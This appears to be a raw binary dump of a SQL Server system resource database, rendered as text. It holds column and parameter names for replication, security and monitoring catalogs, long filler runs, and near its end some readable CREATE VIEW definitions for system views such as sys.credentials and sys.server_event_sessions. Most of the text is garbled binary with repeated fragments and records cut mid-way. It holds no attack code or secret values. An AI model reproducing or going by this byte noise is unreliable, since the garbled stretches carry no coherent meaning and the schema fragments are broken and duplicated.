8server_len_in_bytes6"database60db_len_in_bytes6&originator6@originator_len_in_bytes6 orig_db6:orig_db_len_in_bytes6*cmds_in_tran6Fis_boundedupdate_singleton62begin_update_lsn6&delete_lsn6*last_end_lsn6$fcomplete6*fcompensated60fprocessingtext62max_cmds_in_tran6&begin_time6(commit_time6&session_id6 ,session_phase6!4is_known_cdc_tran6"(error_countZ6Z$@agent_id6Z(@agent_type6&@object_id6@mode6z&@object_id6z4@source_object_id6z4@capture_instance6z&@start_lsn6z<@supports_net_changes6z&@role_name6z(@index_name6z0@filegroup_name6z	*@create_date6z
0@is_partitioned6z@@allow_partition_switch6B4@capture_instance6&@retention6&@threshold6$@job_type##6##$@from_lsn6## @to_lsn6##4@capture_instance6x"*@publication6x",@source_owner6x",@source_table6y_@owner6y_&@tablename6y_@nick6&@tablename6(@dest_owner6Y *@publication6Y "@article6Y (@base_objid6Y (@join_objid6Y *@join_unique6{@pubid6{(@subscriber6{.@subscriber_db6{"@expired6 )*@publication6 )&@publisher6 )@pubdb6@pubid6.@schemaversion6*@compatlevel60@AlterTableOnlye6
2	Z	Jb<FvBpjB"D Hdv<
l6
hZ&PzlJ
$
H
~

	
	$


	
p


b
0DVn\:b:lpN>
"ZJ6h<v(Td*:<Nf|~b<Vt2F(b`))J!m--6v	"rkeydbid6vrkeyid6v$rkeyindid6ycolid6yid6yindid6ykeyno6z	dpages6zfirst6z"FirstIAM6z groupid6zid6zimpid6zindid6zkeycnt6zkeys6z$lockflags6z maxirow6zmaxlen6zminlen6zname6z.OrigFillFactor6z"pgmodctr6z
"reserved6z$reserved26z$reserved36z$reserved46zroot6zrowcnt6z
$rowmodctr6zrows6z"statblob6zstatus6z(StatVersion6zused6z xmaxlen6| actions6|colid6| constid6|error6|id6|spare16|status6} constid6}fkey6}fkeyid6}keyno6}rkey6}rkeyid6&definition6	@execute_as_principal_id6,is_recompiled60is_schema_bound66null_on_null_input6$object_id60uses_ansi_nulls6@uses_database_collation6>uses_quoted_identifier6 autoval6bitpos6"cdefault6	colid6$collation6(collationid6"colorder6
 colstat6domain6id6&iscomputed6&isnullable6&isoutparam6"language6length6name6number6offset6prec6"printfmt6"reserved6scale6status6 *tdscollation6type6"typestat6"usertype6
 xoffset6xprec6xscale6xtype6$xusertype60base_schema_ver6cache6"category6
crdate6 deltrig6 ftcatid6id6"indexdel6info6 instrig6name6	&parent_obj6 refdate6"replinfo6&schema_ver6 seltrig6
2stats_schema_ver6status6 sysstat6type6~id6~depid6~number6~$depnumber6~status6~ deptype6~ depdbid6~$depsiteid6~	selall6~
$resultobj6~ readobj6wid6wuid6waction6w(protecttype6w columns6w grantor6xid6x grantee6x grantor6xactadd6xactmod6xseladd6xselmod6xupdadd6x	updmod6x
refadd6xrefmod6{ ftcatid6{name6{status6{path6id6number6colid6status6ctext6"texttype6"language6$encrypted6	&compressed6
text!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!vV8


~
X
>


nL0fD"



`
F
(


				d	>	(	
	|`> R.\6ljT"F"bBlN8:^@`<tT0hL.jL.4|\`)"k?X6,system6,
$topologyx6,$topologyy6,6useremotecollation6-&changedate6-.remoteserverid6-.remoteusername6-sid6-status61&changedate61"loginsid61(rmtloginame61(rmtpassword61"rmtsrvid61status62error62"severity63 accdate63$bulkadmin63&createdate63$dbcreator63dbname63$denylogin63$diskadmin63$hasaccess63$isntgroup63"isntname63"isntuser63"language63$loginname63name63
"password63*processadmin63
(resultlimit63,securityadmin63(serveradmin63&setupadmin63sid63&spacelimit63status63"sysadmin63	$timelimit63totcpu63totio63&updatedate66	"category66
$cmptlevel66crdate66dbid66"filename66mode66name66"reserved66sid66status66 status266 version62dlevel62(description62$msglangid65name65size65low65high65status65$cntrltype65 phyname64"rsc_text64 rsc_bin64&rsc_valblk64"rsc_dbid64$rsc_indid64$rsc_objid64"rsc_type64"rsc_flag64	"req_mode64
&req_status64&req_refcnt64,req_cryrefcnt64
*req_lifetime64"req_spid64"req_ecid64,req_ownertype644req_transactionID646req_transactionUOW60"openTape6/(object_name6/*counter_name6/,instance_name6/&cntr_value6/$cntr_type68,cursor_handle68(cursor_name68(concurrency68
*column_count67,cursor_handle67(table_owner67&table_name67.optimizer_hint67$lock_type67(server_name67"objectid67dbid67	dbname6.spid6.kpid6. blocked6."waittype6."waittime6.*lastwaittype6.*waitresource6.dbid6.	uid6.
cpu6.(physical_io6."memusage6.
&login_time6.&last_batch6.ecid6.$open_tran6.status6.sid6."hostname6.*program_name6.(hostprocess6.cmd6.$nt_domain6.(nt_username6.(net_address6.(net_library6."loginame6.*context_info6.&sql_handle6.&stmt_start6."stmt_end6. &request_idcnt64
*req_lifetime64"req_spid64"req_ecid64,req_ownertype644req_transactionID646req_transactionUOW60"openTape6/(object_name6/*counter_name6/,instance_name6/&cntr_value6/$cntr_type6?"bucketid6?*cacheobjtype6? objtype6?objid6?dbid6?"dbidexec6?uid6?$refcounts6?	$usecounts6?
$pagesused6? setopts6?langid6?
&dateformat6?status6?"lasttime6?(maxexectime6?(avgexectime6?$lastreads6?&lastwrites6?"sqlbytes6?sql69.reference_name69*cursor_scope69*cursor_handl68,cursor_handle68(cursor_name68status68model68(concurrency68&scrollable68(open_status68(cursor_rows68	*fetch_status68
*column_count68$row_count68.last_operation6:,cursor_handle6:(column_name6:2ordinal_position6:Jcolumn_characteristics_flags6:(column_size6:,data_type_sql6:2column_precision6:*column_scale6:	.order_position6:
0order_direction6:,hidden_column6:"columnid6:
"objectid6:dbid6:dbname67,cursor_handle67(table_owner67&table_name67.optimizer_hint67$lock_type67(server_name67"objectid67dbid67	dbname6.spid6.kpid6. blocked6."waittype6."waittime6.*lastwaittype6.*waitresource6.d
*
R


H
p$|
nT:	pz	

8			,
	Z	p

VN

4
tX:rJlJ(vX4L$nL$`6@~,
(2JbpV
T~~P"~`)^#~/w6$schema_id6.system_type_id6:type_table_object_id6*user_type_id6&definition6	@execute_as_principal_id6,is_recompiled60is_schema_bound66null_on_null_input6$object_id60uses_ansi_nulls6@uses_database_collation6>uses_quoted_identifier6Bdropped_lob_column_state6@filestream_filegroup_id6"index_id6Dis_logged_for_replication6(is_orphaned6
,is_replicated6	$is_unique6$object_id6*partition_id62partition_number6rows6(create_date6hints6(is_disabled6(modify_date6name6&parameters6,plan_guide_id6&query_text6
(scope_batch6	0scope_object_id6&scope_type60scope_type_desc6(assembly_id6$object_id6(assembly_id6*user_type_id68fulltext_catalog_id6"index_id6$object_id6&service_id62service_queue_id6 $object_id6 *parameter_id6 *user_type_id6!$column_id6!$object_id6!*user_type_id6"0message_type_id6"4xml_collection_id6#$object_id6#*parameter_id6#4xml_collection_id6$$column_id6$$object_id6$4xml_collection_id6+$algorithm6+.algorithm_desc6+4asymmetric_key_id6+
(attested_by6+Jcryptographic_provider_algid6+Hcryptographic_provider_guid6+	&key_length6+name6+*principal_id6+,provider_type6+&public_key6+@pvt_key_encryption_type6+Jpvt_key_encryption_type_desc6+
sid6+&string_sid6+&thumbprint6,(create_date6,Bfilestream_data_space_id6,
,internal_type6,6internal_type_desc6,
,is_ms_shipped6,*is_published6,8is_schema_published6,4lob_data_space_id6,	(modify_date6,name6,$object_id6,$parent_id60is_sereplicated6
4max_null_bit_used60max_leaf_length60min_leaf_length68max_internal_length68min_internal_length6:allows_nullable_keys60allow_row_locks62allow_page_locks66is_data_row_format62is_not_versioned60filestream_guid6*partition_id68partition_column_id6.modified_count62max_inrow_length6,is_replicated6Dis_logged_for_replication6&is_dropped6.system_type_id6	&max_length6
$precision6scale6.collation_name6
,is_filestream6(key_ordinal6(is_nullable64is_descending_key6.is_uniqueifier6(leaf_offset60internal_offset64leaf_bit_position6<internal_bit_position6,leaf_null_bit64internal_null_bit6.is_anti_matter6<partition_column_guid6$is_sparse6(has_default6,default_value66allocation_unit_id6type6$type_desc6*container_id6*filegroup_id6(total_pages6&used_pages6&data_pages6	&first_page6
$root_page6.first_iam_page!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!L(zP$


X
2

jDf


n
:

			p	<		pF"L"~X(nFd@l4pv@b"0&:^h(bF
n\*<`xNb2|<`)jd$
L1K6"ag_db_id6,ag_replica_id6*recovery_lsn6&sync_state6

0@createNewState6

(@newstateid6

$@parentid6

0@phraseIdOrNull6

@term6

@lcid6

2@newStateCreated6

@@duplicateThesaurusRule6+ @job_id6+$@step_uid6V"@tran_id6V @row_id6V0@conflict_table6V.@is_subscriber6%$@startgen6%"@changes6%"@updates6%"@deletes6c	2@parent_nickname6c	0@parent_rowguid6c	@@logical_record_lineageca_server_name67Rsecondary_role_allow_connections67\secondary_role_allow_connections_desc670session_timeout6Z(database_id6Z2encryption_state6Z(create_date6Z0regenerate_date6Z(modify_date6Z"set_date6Z(opened_date6Z,key_algorithm6Z	&key_length6Z
:encryptor_thumbprint6Z.encryptor_type6Z2percent_complete6_$@rolename6_$@password6

0@createNewState6

(@newstateid6

$@parentid6

0@phraseIdOrNull6

@term6

@lcid6

2@newStateCreated6

@@duplicateThesaurusRule65name65&collisions65spins658spins_per_collision65&sleep_time65"backoffs6J&local_node6J(remote_node6J&page_class6J&read_count6J(write_count6-I$wait_type6-I8waiting_tasks_count6-I*wait_time_ms6-I2max_wait_time_ms6-I8signal_wait_time_ms6&n$@loginame6wX$@language6fC"@objname6>@fulltext_catalog_name6(@table_name65oBtransaction_sequence_num65o(pdw_node_id6$(pdw_node_id6$&process_id6$*process_name6$2allocated_memory6$2available_memory6$4process_cpu_usage6$0total_cpu_usage6$*thread_count6$	*handle_count6$
6total_elapsed_time6$*is_available6$$sent_time6$
,received_time6$"error_id6*(pdw_node_id6*$thread_id6*&process_id6*name6*"priority6*&start_time6*state6*(wait_reason6*	Jtotal_processor_elapsed_time6*
@total_user_elapsed_time6%(database_id6%,physical_name6S @server6S"@catalog6S*CATALOG_NAME6S(DESCRIPTION6*00@procedure_name6*02@procedure_owner6*0:@procedure_qualifier6*0*@column_name6*0"@ODBCVer6*0*@fUsePattern6,@table_server6.@table_catalog6(@table_name6,@table_schema6*@column_name6"@grantor6"@grantee64@table_name_dummy6.@table_catalog6,@table_schema6(@table_name6,@stat_catalog6*@stat_schema6&@stat_name676CONSTRAINT_CATALOG674CONSTRAINT_SCHEMA670CONSTRAINT_NAME67,TABLE_CATALOG67*TABLE_SCHEMA67&TABLE_NAME67(COLUMN_NAME672ORDINAL_POSITIONE1\6E1\@char6u&@publisher6u,@publisher_db6u*@publication6u,@upload_first6w1&@publisher6w1,@publisher_db6w1*@publication6w14@failover_mode_id6w1.@failover_mode6J"@ver_old6J.@ver_retention6n"@srvname6n,@check_distdb6UL@qualified_source_object_name6UH@qualified_sync_object_name6U4@primary_key_only6UF@is_vertically_partitionedz6z2@number_of_units6z,@unit_of_time6z(@start_date6v	*@publication6v	0@frequency_type6v	8@frequency_interval6v	4@frequency_subday6v	F@frequency_subday_interval6v	J@frequency_relative_interval6v	J@frequency_recurrence_factor6v	6@active_start_date6v		2@active_end_date6v	
D@active_start_time_of_day6v	@@active_end_time_of_day6v	6@snapshot_job_name6v	
B@publisher_security_mode6v	2@publisher_login6v	8@publisher_password6v	&@job_login6v	,@job_password6v	&@publisher6+ @job_id6+$@step_uid6V"@tran_id6V @row_id6V0@conflict_table6V.@is_subscriber6%$@startgen6%"@changes6%"@updatesR

d2
tTzV.$~8\`G
[)~%=֯X6class6&class_desc61&heart_beat61,instance_name616instance_pipe_name61BOS_process_creation_date61,OS_process_id61<owning_principal_name6.transaction_id6Btransaction_sequence_num6@transaction_is_snapshot6Hfirst_snapshot_sequence_num6Llast_transaction_sequence_num6Dfirst_useful_sequence_num6m.VerboseLogging6m6SqlDumperDumpFlags6m4SqlDumperDumpPath6m:SqlDumperDumpTimeOut6m<FailureConditionLevel6m6HealthCheckTimeout6>$@newvalue6$@loginame6$@rolename2ؖ62ؖ.@binary8_value6  @ts_col6 "@op_type6  @is_new6 8@primary_key_bitmap6 "@colname6 $@this_col6  @column6 &@from_proc6 	"@coltype6 
@type6 "@art_col6^*@source_dbms6^0@source_version6^*@source_type6^.@source_length6^4@source_precision6^,@source_scale6^2@source_nullable6^4@destination_dbms6^	:@destination_version6^
4@destination_type6^8@destination_length6^>@destination_precision6^
6@destination_scale6^<@destination_nullable6^$@dataloss6"(@article_id6"$@table_id6"(@fpublished6"*@instance_id6",@publisher_id6"&@publisher6",@publisher_db6"0@publisher_type6"	2@publisherserver6"
"@article6"0@publication_id6"*@publication6"
2@creation_script6""@ins_cmd6""@del_cmd6""@upd_cmd6"$@filterid6".@filter_clause6"$@precmdid6" @status6" @typeid6".@schema_option6",@source_owner6",@source_table6"6@destination_owner6"6@destination_table6"8@vertical_partition6"F@force_invalidate_snapshot6"@objid6"(@sync_objid6"*@description6" >@use_default_datatypes6"!0@publisher_dbms6""6@publisher_version6v$@gencheck6vL@gen_level_threshold_override6v&@commongen6v.@commongenguid6v0@commongenvalid62-L@dynamic_snapshot_views_table_end_date6D@active_start_time_of_day6
@@active_end_time_of_day6@login6$@password6$@proxy_id6@tabid6@colid6"@colname6(@typestring6J@userdefinedtypestobasetypes6(@xmltontext6N@maxtypestomatchingnonmaxtypes6<@newdatetimetostrings6  @ts_col6 "@op_type6  @is_new6 8@primary_key_bitmap6 "@colname6 $@this_col6  @column6 &@from_proc6 	"@coltype6 
@type6 "@art_col6
V @dbname6
V@type6`*@publication6`(@subscriber6`.@subscriber_db6^*@source_dbms6^0@source_version6^*@source_type6^.@source_length6^4@source_precision6^,@source_scale6^2@source_nullable6^4@destination_dbms6^	:@destination_version6^
4@destination_type6^8@destination_length6^>@destination_precision6^
6@destination_scale6^<@destination_nullable6^$@dataloss6*@publication6&@publisher6"(@article_id6"$@table_id6"(@fpublished6"*@instance_id6",@publisher_id6"&@publisher6",@publisher_db6"0@publisher_type6"	2@publisherserver6"
"@article6"0@publication_id6"*@publication6"
2@creation_script6""@ins_cmd6""@del_cmd6""@upd_cmd6"$@filterid6".@filter_clause6"$@precmdid6" @status6" @typeid6".@schema_option6",@source_owner6",@source_table6"6@destination_owner6"6@destination_table6"8@vertical_partition6"F@force_invalidate_snapshot6"@objid6"(@sync_objid6"*@description6" >@use_default_datatypes6"!0@publisher_dbms6""6@publisher_version6v$@gencheck6vL@gen_level_threshold_override6v&@commongen
Bh`8l*
0	b
6

V
^
&

`x4

2Rv

	>\j.P"D(RF*	`		HhH(n|`)&-068conversation_handle60conversation_id6*dialog_timer68end_dialog_sequence68far_broker_instance6
2far_principal_id6
(far_service6Hfirst_out_of_order_sequence6Ninbound_session_key_identifier6*is_initiator6$is_system6>last_out_of_order_frag6Flast_out_of_order_sequence64last_send_tran_id6"lifetime6Poutbound_session_key_identifier6*principal_id6"priority62receive_sequence6<receive_sequence_frag66security_timestamp6,send_sequence68service_contract_id6&service_id6state6	&state_desc60system_sequence6[	,cache_address6[	name6[	type6[	"pages_kb6[	0pages_in_use_kb6[	,entries_count6[	:entries_in_use_count6[:$@newvalue6@$@loginame6C.@table_catalog6B),@table_schema6S6CONSTRAINT_CATALOG6S4CONSTRAINT_SCHEMA6S0CONSTRAINT_NAME6S*CHECK_CLAUSE6#@owner6#@table6,q@*@publication6,q@(@scriptfile6,q@&@skiperror>6>@type6>(@length_min6>(@length_max6>.@precision_min6>.@precision_max6>&@scale_min6>&@scale_max6>,@createparams6(@subscriber6(@agent_type60@frequency_type68@frequency_interval6J@frequency_relative_interval6J@frequency_recurrence_factor64@frequency_subday6F@frequency_subday_interval6	D@active_start_time_of_day6
@@active_end_time_of_day66@active_start_date62@active_end_date6
&@publisher6&(@article_id6&&@collation6
r?&@publisher6
r? @schema6
r?&@operation6C@tabid6C@artid6C @prefix6C @suffix6C@mode6C(@paramcount6CB@skipindexesonudtcolumns6o "@command6o *@publication6o "@execute6o F@change_results_originator6&@publisher6(@subscriber6(@agent_type60@frequency_type68@frequency_interval6J@frequency_relative_interval6J@frequency_recurrence_factor64@frequency_subday6	F@frequency_subday_interval6
D@active_start_time_of_day6@@active_end_time_of_day66@active_start_date6
2@active_end_date6qW&@publisher6qW,@publisher_db6qW@type6oB@publisher_linked_server6
,@source_owner6
,@source_table6
*@publication6
:@qualified_tablename6%2@type6%2@len6%2@prec6%2@scale60@conflict_table6.@source_object6"@rowguid66@origin_datasource6:@drop_table_if_empty6-!@pubid6-!"@maxrows6-!"@genlist6-!&@tablenick6-!"@rowguid6-!>@filter_partialdeletes6-!@@specified_article_only6-! @mingen6-!	 @maxgen6-!
*@compatlevel6-!>@enumentirerowmetadata_interval6	D@active_start_time_of_day6
@@active_end_time_of_day66@active_start_date62@active_end_date6
&@publisher6I&@publisher6I&@no_checks6I8@ignore_distributor6g(@xact_seqno6pu&@publisher6pu@owner6pu&@tablename6UL&@publisher6UL0@packageversion6,m@artid6,m.@publishertype6,m&@publisher6o*@publication6o2@tracer_token_id6o&@publisher6o0@publisher_type6&(@article_id6&&@collation6
r?&@publisher6
r? @schema6
r?&@operation6K&@publisher6K*@publication6K"@article6K@owner6K&@tablename6C@tabid6C@artid6C @prefix6C @suffix6C@mode6C(@paramcount6CB@skipindexesonudtcolumns6o "@command6o *@publication6o "@execute6o F@change_results_originator6G&@EventData6G&@procmapid6s&@publisher6s0@publisher_type6&@publisher6(@subscriber6(@agent_typep
j

		b			:	

"DR40XNxp$Fp
D


@l8hp@6


8
^
@2j2x2d
2nR
`DHzX$|Rb*`	0)d<	'[.%?6$is_cached6&is_cycling6(is_disabled66is_enqueue_enabled6!@is_execution_replicated6.*is_filetable6$6is_merge_published6,is_ms_shipped6>is_not_for_replication6.is_not_trusted6-Vis_poison_message_handling_enabled6*is_published66is_receive_enabled6#Dis_repl_serializable_only6 ,is_replicated6:is_retention_enabled68is_schema_published6&@is_sync_tran_subscribed6
0is_system_named6*4is_tracked_by_cdc6+Jlarge_value_types_out_of_row6,>lock_escalation_option64lock_on_bulk_load6
(modify_date6name6(6null_on_null_input6$object_id62parent_object_id6*principal_id6"property6$schema_id6%>skips_repl_constraints6type6$type_desc6Dupdate_referential_action6'0uses_ansi_nulls6)@uses_database_collation64with_check_option6 $@agent_id6 (@agent_type6 $@database6 	$@log_time6 
,@log_time_utc6 "@message6(@quote_char6 @string6*@lower_indexte_count6$(4leaf_update_count6$(2leaf_ghost_count6$(	:nonleaf_insert_count6$(
:nonleaf_delete_count6$(:nonleaf_update_count6$(<leaf_allocation_count6$(
Bnonleaf_allocation_count6$(<leaf_page_merge_count6$(Bnonleaf_page_merge_count6$(<forwarded_fetch_count6$(6lob_fetch_in_pages6$(6lob_fetch_in_bytes6$(@lob_orphan_create_count6$(@lob_orphan_insert_count6$(Pcolumn_value_push_off_row_count6$(Ncolumn_value_pull_in_row_count6$(0page_lock_count6$(!Vindex_lock_promotion_attempt_count6$("Findex_lock_promotion_count6$(#<page_latch_wait_count6$($<page_latch_wait_in_ms6$(%Bpage_io_latch_wait_count6$(&Bpage_io_latch_wait_in_ms6$(+Npage_compression_attempt_count6$(,Npage_compression_success_count6f,connection_id6f8transport_stream_id6fstate6f&state_desc6f*connect_time6f&login_time6f<authentication_method6f.principal_name6f	2remote_user_name6f
6last_activity_time6f$is_accept6f(login_state6f
2login_state_desc6f8peer_certificate_id6f:encryption_algorithm6fDencryption_algorithm_desc6f0receives_posted6fFis_receive_flow_controlled6f*sends_posted6f@is_send_flow_controlled6f2total_bytes_sent6f:total_bytes_received6f:total_fragments_sent6fBtotal_fragments_received6f(total_sends6f.total_receives6f8peer_arbitration_id6@geom6Š.transaction_id6ŠBtransaction_sequence_num6Š8commit_sequence_num6Š&session_id6Š(is_snapshot6ŠHfirst_snapshot_sequence_num6ŠHmax_version_chain_traversed6ŠPaverage_version_chain_traversed6Š	:elapsed_time_seconds6Š
(pdw_node_id6ZRrun_id6ZRstage6ZR&request_id6ZRstatus6ZR&start_time6ZR"end_time6ZR6total_elapsed_time6u"*component_id6u"(property_id6u",physical_name6u"*logical_name6$ @server6$&@data_type6$(@best_match6$$TYPE_NAME6$$DATA_TYPE6$(COLUMN_SIZE6$.LITERAL_PREFIX6$.LITERAL_SUFFIX6$,CREATE_PARAMS6$(IS_NULLABLE6$.CASE_SENSITIVE6$	&SEARCHABLE6$
6UNSIGNED_ATTRIBUTE6$2FIXED_PREC_SCALE6$4AUTO_UNIQUE_VALUE6$
0LOCAL_TYPE_NAME6$,MINIMUM_SCALE6$,MAXIMUM_SCALE6$GUID6$ TYPELIB6$ VERSION6$ IS_LONG6$&BEST_MATCHb6b @number6b@shift6@objid6"@postfix6 @indent6 @ts_col6"@op_type6 @is_new68@primary_key_bitmap6&@publisher6 @vendor6<@distributortimestamp60@publisher_guid6 @mode6 $@agent_id6 (@agent_type6 $@database6 	$@log_time6 
,@log_time_utc6 "@messagen`*&2nJ&	f6vR0z`8|Hf:@rH`
<k(]ka*0 8CREATE VIEW sys.resource_governor_configuration
AS
    SELECT
        classifier_function_id          = sor.indepid,
        is_enabled                      = sysconv(bit, sor.status & 1) -- 0-Disabled / 1-Enabled
    FROM
        master.sys.syssingleobjrefs sor
    WHERE
        sor.class = 12 AND -- SRC_RG_CONFIGURATION
        sor.depsubid = 0 AND
        sor.depid = 0 AND
        sor.indepsubid = 0 AND
        has_access('RG', 0) = 1
0
@ n8CREATE VIEW sys.master_key_passwords AS
	SELECT
		co.id AS credential_id,
		convert(uniqueidentifier, 
			stringtovarbinary(convert(varchar(128),
									SUBSTRING ( co.name, 
												charindex('_', co.name) + 1,
												charindex('_', co.name, charindex('_', co.name) + 1) - charindex('_', co.name) - 1)
			   )			   )		 ) AS family_guid
	FROM master.sys.sysclsobjs co
	LEFT JOIN master.sys.sysobjvalues ov ON ov.valclass = 28 AND ov.objid = co.id AND ov.subobjid = 0 AND ov.valnum = 1
	WHERE co.class = 57
		AND has_access('CR', 0) = 1 AND co.name LIKE '##DBMKEY_%'
0 |8CREATE VIEW sys.database_recovery_status AS
	SELECT d.id AS database_id,
		p.database_guid,
		p.family_guid,
		p.last_log_backup_lsn,
		p.recovery_fork_guid,
		p.first_recovery_fork_guid,
		p.fork_point_lsn
	FROM master.sys.sysdbreg d OUTER APPLY OpenRowset(TABLE DBRECOVER, d.id) p
	WHERE d.id < 0x7fff
		AND has_access('DB', d.id) = 1
0@ r8CREATE VIEW sys.database_mirroring AS
	SELECT d.id AS database_id,
		p.guid AS mirroring_guid,
		p.state AS mirroring_state, p.state_desc AS mirroring_state_desc,
		p.role AS mirroring_role, p.role_desc AS mirroring_role_desc,
		p.role_sequence AS mirroring_role_sequence,
		p.safety_level AS mirroring_safety_level,
		p.safety_level_desc AS mirroring_safety_level_desc,
		p.safety_sequence AS mirroring_safety_sequence,
		p.partner_name AS mirroring_partner_name,
		p.partner_instance AS mirroring_partner_instance,
		p.witness_name AS mirroring_witness_name,
		p.witness_state AS mirroring_witness_state,
		p.witness_state_desc AS mirroring_witness_state_desc,
		p.failover_lsn AS mirroring_failover_lsn,
		p.connection_timeout AS mirroring_connection_timeout,
		p.redo_queue AS mirroring_redo_queue,
		p.redo_queue_type AS mirroring_redo_queue_type,
		p.end_of_log_lsn AS mirroring_end_of_log_lsn,
		p.safe_relication_lsn AS mirroring_replication_lsn
	FROM master.sys.sysdbreg d OUTER APPLY OpenRowset(TABLE DBMIRROR, d.id) p
	WHERE d.id < 0x7fff
		AND has_access('DB', d.id) = 1
0@ 8CREATE VIEW sys.credentials AS
	SELECT
		co.id AS credential_id,
		co.name,
		convert(nvarchar(4000), ov.value) as credential_identity,
		co.created as create_date,
		co.modified as modify_date,
		n.name as target_type,
		r.indepid AS target_id
	FROM master.sys.sysclsobjs co
	LEFT JOIN master.sys.sysobjvalues ov ON ov.valclass = 28 AND ov.objid = co.id AND ov.subobjid = 0 AND ov.valnum = 1
	LEFT JOIN master.sys.syssingleobjrefs r ON r.depid = co.id AND r.class = co.intprop AND r.depsubid = 0	
	LEFT JOIN sys.syspalvalues n ON n.class = 'SRCL' AND n.value = co.intprop
	WHERE co.class = 57
		AND has_access('CR', 0) = 1
<@ ?8CREATE VIEW sys.sac_state AS
	SELECT component_name,
		convert(sysname, N'mssqlsystemresource') collate catalog_default AS database_name,
		schema_name collate catalog_default AS schema_name,
		object_name collate catalog_default AS object_name,
		state, type
	FROM sys.obd_state
0@ 8CREATE VIEW sys.server_event_sessions AS
	SELECT 
		event_session_id			= c.id,
		name						= convert(sysname, c.name) collate catalog_default,
		event_retention_mode		= char(v2.subobjid), -- EMDXEEventRetention
		event_retention_mode_desc	= xeer.name collate catalog_default,
		max_dispatch_latency		= convert(INT, v1.value),
		max_memory					= v1.subobjid,
		max_event_size				= v1.valnum,
		memory_partition_mode		= char(v2.valnum), -- EMDXEMemoryPartition
		memory_partition_mode_desc	= xemp.name collate catalog_default,
		track_causality				= convert(bit, c.status & 1), -- XE_SESSION_STATUS_BIT_CAUSALITY
		startup_state				= convert(bit, c.status & 2)  -- XE_SESSION_STATUS_BIT_AUTOSTART
	FROM master.sys.sysclsobjs c
	LEFT JOIN master.sys.sysobjvalues v1 ON
		v1.valclass = 90 AND	-- SVC_XE_SESSION_PROP_1
		v1.objid = c.id
	LEFT JOIN master.sys.sysobjvalues v2 ON
		v2.valclass = 91 AND	-- SVC_XE_SESSION_PROP_2
		v2.objid = c.id
	LEFT JOIN sys.syspalnames xeer ON xeer.class = 'XEER' AND xeer.value = char(v2.subobjid)
	LEFT JOIN sys.syspalnames xemp ON xemp.class = 'XEMP' AND xemp.value = char(v2.valnum)
	WHERE c.class = 62			-- SOC_XESESSION
	AND has_access ('ES', 0) = 1
0 8CREATE VIEW sys.server_event_session_events AS
	SELECT 
		event_session_id = v.objid,
		event_id		 = v.subobjid,
		name			 = convert(sysname, v.value) collate catalog_default,
		package			 = convert(sysname, p.name) collate catalog_default,
		module			 = convert(sysname, m.name) collate catalog_default,
		predicate		 = convert(nvarchar(3000), v.imageval) collate catalog_default,
		predicate_xml	 = pred.predicate_xml
	FROM master.sys.sysobjvalues v
	LEFT JOIN master.sys.sysqnames p ON p.nid = v.valnum
	LEFT JOIN master.sys.sysqnames m ON m.nid = p.qid
	OUTER APPLY OpenRowset(TABLE FN_XE_PREDICATE_XML, v.objid, v.subobjid) pred
	WHERE v.valclass = 56			-- SVC_XE_SESSION_EVENT
	AND has_access ('ES', 0) = 1
0 78CREATE VIEW sys.server_event_session_targets AS
	SELECT 
		event_session_id = v.objid,
		target_id		 = v.subobjid,
		name			 = convert(sysname, v.value) collate catalog_default,
		package			 = convert(sysname, p.name) collate catalog_default,
		module			 = convert(sysname, m.name) collate catalog_default
	FROM master.sys.sysobjvalues v
	LEFT JOIN master.sys.sysqnames p ON p.nid = v.valnum
	LEFT JOIN master.sys.sysqnames m ON m.nid = p.qid
	WHERE v.valclass = 57			-- SVC_XE_SESSION_TARGET
	AND has_access ('ES', 0) = 1
0 8CREATE VIEW sys.server_event_session_actions AS
	SELECT 
		event_session_id = v.objid,
		event_id		 = v.subobjid,
		name			 = convert(sysname, v.value) collate catalog_default,
